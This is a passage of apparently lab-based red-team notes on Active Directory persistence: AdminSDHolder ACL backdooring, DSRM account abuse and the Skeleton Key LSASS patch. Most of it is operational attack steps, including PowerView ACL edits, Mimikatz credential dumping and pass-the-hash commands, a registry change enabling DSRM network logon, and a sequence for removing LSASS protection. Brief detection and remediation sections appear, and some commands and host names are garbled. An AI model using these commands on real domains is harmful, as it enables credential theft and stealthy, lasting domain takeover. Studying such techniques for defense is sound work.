2️⃣ | Assign FullControl or granular permissions | student1 gains stealthy control |
3️⃣ | Run Invoke-SDPropagator | Forces the ACL to replicate |
4️⃣ | Verify on Domain Admins or others | Confirms persistence works |

This technique is used by advanced red teamers and APT actors to maintain stealthy, long-term access without group membership.

🛠️ Real-World Abuses by Protected Groups (for lateral movement / persistence)

🧪 Examples:

Group | Abuse |
— | — |
Account Operators | Can’t modify DA/EA, but can manipulate nested groups and reset passwords. |
Backup Operators | Can backup GPO, modify it to include backdooruser, and restore it — even to DA group. |
Server Operators | Can start services as SYSTEM on DC (Browser service) = code execution. |
Print Operators | Can load device drivers (signed ones) = kernel-level access or copy ntds.dit via shadow copies. |

💥 Advanced Abuse

With WriteDACL on Domain Admins, an attacker can:

  • Add ACE that grants “GenericAll” or “WriteMember”.

  • Or just reset the DACL to default, removing all detection barriers.

Even if the user is removed from Domain Admins group, they still control the group via ACL.


🧹 How to Detect AdminSDHolder ACL Abuse

🛡️ Detection:

  • Use BloodHound to identify users with dangerous ACL rights.

  • Check AdminSDHolder ACL manually or with:

    • Get-ACL "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"
    • Get-DomainObjectAcl (PowerView)

📍Indicators:

  • Users not in DA/EA but have GenericAll on AdminSDHolder.

  • Non-standard ACEs on AdminSDHolder or protected groups.


🔐 How to Remediate

  • Restore default ACLs on AdminSDHolder.

  • Remove unauthorized ACEs using Set-Acl or ADSIEdit.

  • Rotate passwords for all impacted privileged accounts.

  • Run SDProp manually to force re-propagation:

    repadmin /propagate <PDC-HOSTNAME> <NC> <GUID> /sync
    

Can we have different ACLs for different protected groups?

❌ No, because SDProp copies the same ACL from AdminSDHolder to all protected users and groups every 60 minutes — overwriting any custom ACLs.


So what if we want different ACLs for different protected groups?

That’s where things get tricky.

⚠️ Short Answer:

You can’t do that reliably while SDProp is active.

Any manual or programmatic change to the ACL of a protected group/user (e.g., give helpdesk_user WriteMember on only Backup Operators) will be overwritten by SDProp unless you change the source ACL: AdminSDHolder.

✅ Options to Handle This Scenario:

  1. Remove object from protected group

    → Set adminCount=0

    → Now you can apply a custom ACL (but object won’t be protected anymore).

  2. Don’t use protected groups for delegation

    → Use custom groups instead and assign custom ACLs freely.

  3. Modify AdminSDHolder ACL carefully

    → But changes apply to all protected objects, not individually.

  4. Disabling SDProp (not recommended)

    → Possible via registry but very risky and breaks AD security model.


🔐 Bottom Line:

Protected groups must share the same ACL, defined by AdminSDHolder.

For custom permissions, avoid using protected groups.

Let me know if you want a real-world example or demo setup.

Example & Conditions

🧠 1. Who Can Modify AdminSDHolder (By Default)

AdminSDHolder is just an AD object, so its ACL defines who can modify it.

🔐 Default Principals with Control

Typically:

  • Domain Admins

  • Enterprise Admins

  • SYSTEM (Domain Controller)

  • Sometimes Administrators group


🧠 Meaning


Only HIGH privilege principals can modify AdminSDHolder by default

👉 That’s why you rarely see direct access.


🔥 2. So If You Don’t Have Access → What’s the Real Path?

👉 The real-world answer:


You don’t target AdminSDHolder first

You escalate to something that CAN modify it

🧠 3. The Real Question You Should Ask

Instead of:

“How do I access AdminSDHolder?”

Think:


“Who has rights over AdminSDHolder, and how do I become them?”

⚙️ 1. Conditions Required for Abuse


✅ Minimum Condition

You need ANY of these on AdminSDHolder:

  • WriteDACL ✅ (most common)

  • GenericAll ✅

  • GenericWrite (sometimes, if enough control)

  • WriteOwner (can escalate to WriteDACL)


❗ That’s it


No need to touch Domain Admins directly

🔥 Realistic Misconfig

Example:


Helpdesk group → WriteDACL → AdminSDHolder

👉 Boom → full domain compromise possible

🧠 2. Why It Works (Core Logic)


Normal Case


AdminSDHolder ACL

    ↓

SDProp

    ↓

Protected Users (overwrite)

After Attack


You modify AdminSDHolder ACL

    ↓

SDProp copies YOUR permissions

    ↓

All admins become accessible to you

🔗 Common Indirect Paths to AdminSDHolder

⚔️ PATH 1: WriteDACL / GenericAll on DOMAIN

🧠 Why this works

  • Domain object controls permissions over entire directory

  • Includes ability to modify ACLs on:

    • AdminSDHolder
    • Users
    • Groups

🔥 Attack Logic


WriteDACL on DOMAIN

    ↓

Modify ACL of AdminSDHolder

    ↓

Backdoor it

    ↓

SDProp → Domain Admin control

🧪 Example Flow


# Step 1: Add yourself to AdminSDHolder ACL via domain rights

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity lowuser -RightsAll

💥 Impact


Domain WriteDACL = indirect AdminSDHolder compromise

⚔️ PATH 2: OU → Privileged Group → AdminSDHolder Chain


🧠 Indirect escalation


GenericWrite → OU

    ↓

Control users

    ↓

Add yourself to privileged group

    ↓

Gain rights over AdminSDHolder

👉 This happens when:

  • Delegation is misconfigured

  • AdminSDHolder ACL includes privileged group you can join

🔍 3. How to ENUMERATE AdminSDHolder


🎯 Method 1: PowerView


Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -ResolveGUIDs

IdentityReference : DOMAIN\helpdesk

ActiveDirectoryRights : WriteDACL

ObjectDN : CN=AdminSDHolder,CN=System,DC=domain,DC=local

🎯 Method 2: BloodHound

Look for edge:


User → WriteDACL → AdminSDHolder

🧠 What you’re looking for


Non-admin user/group having:

- WriteDACL

- GenericAll

- WriteOwner

⚔️ 4. How to MODIFY It (Conceptual)


🎯 Goal

Add yourself into ACL:


attacker → GenericAll

🧠 What happens internally

You change:


nTSecurityDescriptor (ACL)

of:


AdminSDHolder

🔄 After modification


SDProp runs

    ↓

Copies modified ACL

    ↓

Applies to all protected users

💥 5. What You Gain After That


Once SDProp runs:

You now have:


GenericAll → Domain Admin user

⚔️ Then you can:

  • Reset password

  • Add yourself to DA group

  • DCSync

  • Full domain takeover


🔄 6. Why This is PERFECT for Persistence


Scenario

Defender:

  • Removes you from DA

  • Resets passwords


But forgets:


AdminSDHolder is still backdoored

Result


Next SDProp run →

Your access comes back 😈

🚨 6. Common Misunderstanding (VERY IMPORTANT)


❌ Myth

“I need access to protected account first”


✅ Reality

You bypass protected accounts completely

by attacking AdminSDHolder

🔍 7. ENUMERATION (WITH COMMANDS)


🎯 PowerView Enumeration


Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -ResolveGUIDs

ObjectDN              : CN=AdminSDHolder,CN=System,DC=domain,DC=local

ActiveDirectoryRights : WriteDACL

IdentityReference     : DOMAIN\lowuser

👉 🔥 This means:


lowuser → WriteDACL → AdminSDHolder

🎯 Check Protected Users


Get-DomainUser -LDAPFilter "(adminCount=1)"

samaccountname : admin1

adminCount     : 1

samaccountname : administrator

adminCount     : 1

⚔️ 5. MODIFY AdminSDHolder (ATTACK)


🎯 Goal

Add attacker to ACL:


lowuser → GenericAll

⚔️ Step 1: Add ACL Entry


Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity lowuser -RightsAll

✔ Verify Change


Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -ResolveGUIDs

IdentityReference     : DOMAIN\lowuser

ActiveDirectoryRights : GenericAll

⏱️ 6. WAIT FOR SDProp

🧠 Default Behavior


Runs every ~60 minutes

⚡ OPTIONAL: Force SDProp (instead of waiting)


Invoke-Command-ComputerNameDC01-ScriptBlock {repadmin/syncall}

OR (manual trigger via DC):


ldp.exe → Modify → Run FixUpInheritance (advanced)

🧠 7. Clean Attack Chain



Compromised User

    ↓

Find WriteDACL → AdminSDHolder

    ↓

Modify ACL (add yourself)

    ↓

Wait for SDProp

    ↓

Gain control over Domain Admins

🔥 11. Minimal Conditions Summary

Requirement | Needed? |
— | — |
Compromise Domain Admin | ❌ No |
Access protected user | ❌ No |
WriteDACL on AdminSDHolder | ✅ Yes |
Wait for SDProp | ✅ Yes |

🧠 FINAL UNDERSTANDING



AdminSDHolder is NOT just persistence

It is:

Privilege escalation + persistence

“You don’t need access to admins — you just need permission to change the template that controls them.”

DSRM Attack - Domain Persistence

What is DSRM (Directory Services Restore Mode)?

👉 DSRM is a special boot mode for Domain Controllers (DCs) that allows recovery or repair of Active Directory (AD).

👉 When a Windows server is promoted to a Domain Controller (DC), a special recovery account is created called the Directory Services Restore Mode (DSRM) Administrator.

👉 This is a local admin account on the DC — it is not part of Active Directory.

👉 The DSRM Administrator password (also called the SafeModePassword) is set during promotion and rarely changed after that in most environments.

➡ This account is meant to be used only when booting into DSRM mode for recovery or repair of AD.

➡ Even though DCs normally authenticate users via AD, the DSRM account provides local admin access to the DC when needed (especially in restore scenarios)

  • Normal DC boot → Active Directory online

  • DSRM boot → AD offline, safe mode (for repairs/restores)

The above screenshot shows sever being promoted to a DC where it requires DSRM password.


Why is the DSRM account a target for attackers?

  • The DSRM account is often overlooked by admins that means password is often forgotten or not changed for years.

  • If an attacker can dump or crack its password, or pass its NTLM hash, they can:

    • Gain local admin access to the DC even without AD working.
    • Manipulate or damage AD from the DC’s local context.
    • Perform actions that don’t generate AD-based logs (harder to detect).

🚩 Key fact to remember

👉 The DSRM Administrator is always the local Administrator account on the DC (SID ending with -500).

👉 It’s not part of Active Directory; it’s stored in the local SAM database of the DC.


How an attacker carries out a DSRM attack

Let’s walk through the process using your provided commands.


1️⃣ Attacker compromises a machine and gains Domain Admin (DA) privileges

You must already have Domain Admin privileges because:

  • You need access to sensitive parts of the DC (e.g., LSASS memory, SAM database).

2️⃣ Dump the DSRM password hash from the SAM database

The attacker runs:


Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computer dcorp-dc

➡ What this does:

  • token::elevate — elevates privilege (impersonate SYSTEM token if needed).

  • lsadump::sam — dumps local accounts stored in the SAM database (on the DC this includes the DSRM Administrator).

Result: You get the NTLM hash of the DSRM Administrator account (the local admin on the DC).


3️⃣ Optionally, dump domain secrets

The attacker may also run:


Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computer dcorp-dc

➡ What this does:

  • Dumps LSA secrets (which may include cached domain secrets, service account passwords, etc.).

  • Contains the domain Administrator hash, among other things.


4️⃣ Compare hashes

  • Compare the Administrator hash from lsadump::sam with the Administrator hash from lsadump::lsa.

  • If they’re different → the SAM dump is the local DSRM account.

  • If they’re the same → you might have a domain admin account (unlikely, because DSRM is separate).


5️⃣ By default, DSRM can’t log in during normal operation

👉 Even with the hash, attackers can’t use it for network logon because of the default logon policy:

  • DsrmAdminLogonBehavior = 0 → DSRM admin can log on only in DSRM mode (default).
Value | Meaning |
— | — |
0 | DSRM admin can only log on in DSRM mode (default). |
1 | DSRM admin can log on when AD is stopped. |
2 | DSRM admin can log on even when AD is running (this is what the attacker wants). |

By default, you can’t pass-the-hash with DSRM admin unless this is changed!

6️⃣ Change logon behavior

👉 The attacker changes the registry setting remotely to allow normal logons:


winrs -r:dcorp-dc cmd

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "DsrmAdminLogonBehavior" /t REG_DWORD /d 2 /f

Explanation:

  • winrs -r:dcorp-dc cmd → Runs a remote shell (Windows Remote Shell) on dcorp-dc.

  • reg add ... /v DsrmAdminLogonBehavior /d 2 /f → Adds or updates the DsrmAdminLogonBehavior registry value and sets it to 2.

  • This allows the DSRM admin account to log on even when AD is fully running → now you can use the hash over the network.

Note:- Changing Logon behavior(registry modification) is very noisy and gets detected very easily.


7️⃣ Pass-the-Hash using the DSRM admin’s hash

👉 The attacker uses Mimikatz to forge a session using the DSRM admin hash:


Invoke-Mimikatz "sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:<DSRM_NTLM_HASH> /run:powershell.exe"

ls \\dcdcorp-d\C$

Explanation:

  • sekurlsa::pth → Starts a new process with a forged token, using the provided NTLM hash.

  • /domain:dcorp-dc → Targets the DC.

  • /user:Administrator → This is the DSRM local admin.

  • /ntlm:<hash> → This is the NTLM hash obtained earlier from dumping SAM.

  • /run:powershell.exe → Starts a PowerShell process in the context of the forged credentials.

➡ You now have a shell that behaves as if you logged on with the DSRM admin’s credentials.

You run this on: Your compromised machine— where you already have admin (or SYSTEM) privileges.

Optional steps:-

8️⃣ Allow connection to the target via PowerShell remoting

👉 The attacker now sets up to connect via PowerShell remoting:


Set-Item WSMan:\localhost\Client\TrustedHosts 172.16.2.1

Explanation:

  • Updates the WSMan TrustedHosts list to include 172.16.2.1 (the DC’s IP).

  • Required because PowerShell Remoting (PSSession) won’t connect to untrusted hosts when using implicit credentials.

9. Establish a session to the DC


Enter-PSSession -ComputerName 172.16.2.1 -Authentication NegotiateWithImplicitCredential

Explanation:

  • Starts an interactive PowerShell session on the DC (172.16.2.1).

  • NegotiateWithImplicitCredential → Uses the current forged token from the Pass-the-Hash step.

Result: You are now interactively connected to the DC using the DSRM account’s context!

This allows:

  • Installing malware

  • Disabling protections (e.g., AV, EDR)

  • Direct tampering with AD files on disk

  • Offline AD database modifications (e.g., ntds.dit)


Full attack chain summary


[ Attacker gets DA access ]

         ↓

[ Dump SAM — get DSRM admin NTLM hash ]

         ↓

[ Change DsrmAdminLogonBehavior = 2 → allow normal login ]

         ↓

[ Pass-the-Hash → forge session with DSRM admin hash ]

         ↓

[ Connect to DC, act as local admin ]

Why this attack is dangerous

Hard to detect — because the DSRM account is local, actions may not be logged in domain logs.

Persistence — attacker could change the DSRM password to lock out legitimate admins during recovery.

No network auth needed — attacker can work locally on the DC without AD involvement.


Defenses

  • Change DSRM passwords regularly (many orgs don’t do this!).

  • Monitor for lsadump::sam usage — this is abnormal on DCs.

  • Enable LSA Protection / Credential Guard — makes dumping harder.

  • Monitor for Pass-the-Hash activity from accounts named Administrator on DCs.


🤔 If I’m already Domain Admin (DA), why target DSRM?

✅ As DA, you already control:

  • All domain-joined machines, including DCs

  • NTDS.dit, krbtgt hashes, GPOs, user accounts

👉 So why bother with DSRM?


💡 Why attackers still go after DSRM

1️⃣ OS-level control beyond AD

  • DSRM gives local admin on the DC itself — not just domain-level access

  • Lets you tamper with files, disable security tools, or install rootkits


2️⃣ Persistence that survives clean-up

  • Even if blue team resets AD accounts, krbtgt, or tickets → attacker can boot DC into DSRM and regain control

3️⃣ Bypass domain monitoring

  • Domain actions create logs and alerts (e.g., Kerberos, LDAP)

  • DSRM logins or offline access don’t trigger domain-level logs


4️⃣ Stealthy access to AD files

  • Directly copy, tamper, or exfiltrate NTDS.dit and registry hives offline

  • No domain APIs, no domain ACLs stop you


5️⃣ Easy to exploit

  • DSRM passwords are often old, never changed

  • Many orgs don’t monitor DsrmAdminLogonBehavior or DSRM usage


🌟 In short

👉 DSRM gives attackers:

  • Local admin on the DC OS

  • Persistence beyond domain recovery

  • A stealthy fallback path if DA access is lost


🚀 Analogy

👉 DA = keys to the house (AD)

👉 DSRM = keys to the safe inside the house (DC OS)

Even if house locks change, you still open the safe.


🔥 One-Line Answer

Yes — you dump the DSRM (local admin) hash from the DC and enable its login via registry, not to gain more privilege, but to create a stealthy, persistent backdoor independent of Active Directory.

Skeleton Key Attack

🚩 What is the Skeleton Key attack?

Skeleton Key is a post-exploitation persistence technique where an attacker patches the LSASS (Local Security Authority Subsystem Service) process on a Domain Controller (DC).

  • Once patched, the DC accepts any user’s legitimate password or a single attacker-defined master password (the “Skeleton Key”) to authenticate.

  • This means the attacker can log in as any domain user using that master password.

In simple words:

The Skeleton Key attack is a post-exploitation technique where:

  • An attacker injects a master password (the “skeleton key”) into the LSASS process on a Domain Controller (DC).

  • This makes LSASS accept both the legitimate user’s password and a secret attacker-defined password (e.g. mimikatz) for any domain user.

🧠 Result


When user logs in:

    If password == real password → allow

    OR

    If password == attacker master password → allow

In a Skeleton Key attack, you patch LSASS on the Domain Controller to inject a master password. This lets you authenticate as any domain user on any domain-joined machine (including the DC), using the valid username with the skeleton key as the password.


How does it work?

  • The attack modifies the authentication process in memory (in LSASS), adding logic to accept the attacker’s password.

  • The legitimate password still works — users don’t notice anything is wrong.

  • The attacker doesn’t need to reset or steal any passwords; they simply bypass them using the master key.

🧠 Why?

To perform Skeleton Key attack, you need:

Ability to:

  • Access Domain Controller

  • Inject into LSASS process

🔑 That requires:

  • Domain Admin

OR

  • Equivalent privileges like:
    • SYSTEM on DC
    • SeDebugPrivilege on DC

How does it work?

1️⃣ The attacker compromises a Domain Admin (DA) account or equivalent (required because you need permission to modify LSASS on the DC).

2️⃣ The attacker runs:


mimikatz.exe '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local

📌 Explanation of command parts:

  • privilege::debug → Enables debug rights, required to modify LSASS memory.

  • misc::skeleton → Injects the skeleton key logic into LSASS.

  • ComputerName dcorp-dc.dollarcorp.moneycorp.local → Specifies the target DC where LSASS will be patched.

👉 This injects the logic that sets the master password to mimikatz(as the tool here being used is mimikatz so it sets the master password as “mimikatz”.


3️⃣ Once the patch is in place:

  • The DC continues to accept normal passwords.

  • The DC also accepts mimikatz as the password for any domain user.


4️⃣ The attacker can now access any domain-joined machine:

Example:


Enter-PSSession -ComputerName dcorp-dc -Credential dcorp\Administrator

➡ The attacker uses:

  • dcorp\Administrator

  • Password: mimikatz

This works even if they don’t know the real Administrator password!


Limitations / Risks

Limitation | Details |
— | — |
Not persistent | The patch is in LSASS memory. It is lost on reboot of the DC. The attacker would need to reapply the patch after a reboot. |
Not OPSEC safe | Easily detectable by memory scanners, EDR, or tools monitoring LSASS integrity. The patch changes LSASS in ways that can cause instability. |
May cause AD CS issues | The skeleton key patch can interfere with Active Directory Certificate Services (AD CS), potentially breaking or destabilizing certificate-based functions. |
Leaves no AD object evidence | No password changes or new accounts — makes detection via AD logs harder, but memory monitoring can spot it. |

🔑 Persistence

  • Skeleton Key is not naturally persistent because:
    • It relies on live patching LSASS in memory.
    • A reboot clears the modification.
  • If an attacker wants persistence beyond reboot, they would need to:
    • Re-run the Skeleton Key payload after every DC reboot.
    • Set up another persistence mechanism to ensure the payload is reinjected (e.g., malicious service or scheduled task).

🕵 Detection challenges

  • Since legitimate credentials still work, users don’t notice anything unusual.

  • No abnormal logins — domain controllers simply accept the additional password.

  • Detection relies on:

    • Memory integrity monitoring (e.g., LSASS memory scanning)
    • Unusual logons with unexpected password patterns
    • Reboots wiping the patch — look for attackers re-applying Skeleton Key

💡 Note:

Skeleton Key is most useful in scenarios where:

  • The attacker already has Domain Admin or equivalent privilege (since they need to modify LSASS memory on the DC).

  • They want stealthy lateral movement or persistence without changing AD objects.

  • In case lsass is running as a protected process, we can still use Skeleton

Key but it needs the mimikatz driver (mimidriv.sys) on disk of the target

DC:

***mimikatz # privilege::debug

mimikatz # !+

mimikatz # !processprotect /process:lsass.exe /remove

mimikatz # misc::skeleton

mimikatz # !-***

• Note that above would be very noisy in logs - Service installation (Kernel

mode driver)

🔥 Final Answer to Your Question

Yes — if LSASS is patched on the Domain Controller, any domain user can authenticate using the master password until the DC is rebooted, and performing this attack typically requires Domain Admin (or equivalent) privileges.